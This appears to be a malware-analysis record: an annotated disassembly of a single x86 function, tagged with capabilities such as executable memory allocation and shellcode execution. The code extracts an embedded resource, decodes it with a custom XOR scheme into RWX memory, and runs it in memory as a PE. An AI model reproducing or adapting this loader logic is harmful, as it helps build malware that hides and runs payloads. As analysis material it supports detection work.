Function at 0x4038c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Extract resource via kernel32 functions
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [ebp - 0x44], 0
xor ecx, ecx
call fcn.00403880
test eax, eax
jne 0x403ba5
mov dword [ebp - 0x48], 1
push 0x686c7c
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x24], eax
push str.MYRES
push 0x9c
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [ebp - 0x24]
mov dword [ebp - 0x1c], eax
push 0x686ca4
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x1c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [ebp - 0x28]
mov dword [ebp - 0x30], eax
push 0x686cb4
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x1c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [ebp - 0x2c]
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 0x30]
push edx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x34], eax
push 0x40
push 0x1000
mov eax, dword [ebp - 0x14]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0x34]
push edx
mov eax, dword [ebp - 8]
push eax
call fcn.005d3d00
add esp, 0xc
mov cl, byte [ebp - 0x14]
mov byte [ebp - 1], cl
lea edx, [ebp - 0x14]
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x18], 0
jmp 0x4039c5
mov eax, dword [ebp - 0x18]
add eax, 1
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 4
jae 0x4039df
mov ecx, dword [ebp - 0x38]
add ecx, dword [ebp - 0x18]
movsx edx, byte [ecx]
movzx eax, byte [ebp - 1]
add eax, edx
mov byte [ebp - 1], al
jmp 0x4039bc
mov dword [ebp - 0xc], 0
jmp 0x4039f1
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
cmp edx, dword [ebp - 0x14]
jae 0x403a80
mov eax, dword [ebp - 0xc]
xor edx, edx
mov ecx, 2
div ecx
test edx, edx
jne 0x403a24
movsx edx, byte [ebp - 0xc]
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0xc]
movsx ecx, byte [eax]
sub ecx, edx
mov edx, dword [ebp - 8]
add edx, dword [ebp - 0xc]
mov byte [edx], cl
mov eax, dword [ebp - 0xc]
xor edx, edx
mov ecx, 3
div ecx
test edx, edx
jne 0x403a4b
movsx edx, byte [ebp - 0xc]
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0xc]
movsx ecx, byte [eax]
add ecx, edx
mov edx, dword [ebp - 8]
add edx, dword [ebp - 0xc]
mov byte [edx], cl
movzx eax, byte [ebp - 1]
mov ecx, dword [ebp - 8]
add ecx, dword [ebp - 0xc]
movsx edx, byte [ecx]
xor edx, eax
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0xc]
mov byte [eax], dl
mov cl, byte [ebp - 1]
add cl, 1
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
cmp edx, 0xff
jl 0x403a7b
mov byte [ebp - 1], 0
jmp 0x4039e8
mov eax, 1
imul ecx, eax, 6
mov edx, dword [ebp - 8]
movsx eax, byte [edx + ecx]
cmp eax, 0xf
jge 0x403b57
mov ecx, 1
imul edx, ecx, 6
mov eax, dword [ebp - 8]
movsx ecx, byte [eax + edx]
and ecx, 0x80000001
jns 0x403ab4
dec ecx
or ecx, 0xfffffffe
inc ecx
test ecx, ecx
jne 0x403b57
mov dword [ebp - 0x10], 0
jmp 0x403ace
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x14]
jae 0x403b2a
cmp dword [ebp - 0x10], 5
je 0x403ae2
cmp dword [ebp - 0x10], 6
jne 0x403ae4
jmp 0x403ac5
mov ecx, 1
imul edx, ecx, 6
mov eax, dword [ebp - 8]
movsx ecx, byte [eax + edx]
mov edx, dword [ebp - 8]
add edx, dword [ebp - 0x10]
movsx eax, byte [edx]
xor eax, ecx
mov ecx, dword [ebp - 8]
add ecx, dword [ebp - 0x10]
mov byte [ecx], al
mov edx, 1
imul eax, edx, 5
mov ecx, dword [ebp - 8]
movsx edx, byte [ecx + eax]
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0x10]
movsx ecx, byte [eax]
xor ecx, edx
mov edx, dword [ebp - 8]
add edx, dword [ebp - 0x10]
mov byte [edx], cl
jmp 0x403ac5
mov eax, 1
imul ecx, eax, 5
mov edx, dword [ebp - 8]
mov byte [edx + ecx], 0
mov eax, 1
imul ecx, eax, 6
mov edx, dword [ebp - 8]
mov byte [edx + ecx], 0
mov eax, 1
imul ecx, eax, 7
mov edx, dword [ebp - 8]
mov byte [edx + ecx], 0
push 0
mov edx, dword [ebp - 0x14]
mov ecx, dword [ebp - 8]
call fcn.00403590
add esp, 4
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x20], eax
mov edx, str.fnPeMemoryRunLib
mov ecx, dword [ebp - 0x20]
call fcn.00403730
mov dword [ebp - 0x40], eax
push dword [ebp - 0x14]
push dword [ebp - 8]
push dword [ebp - 0x20]
call dword [ebp - 0x40]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, 1
mov esp, ebp
pop ebp
ret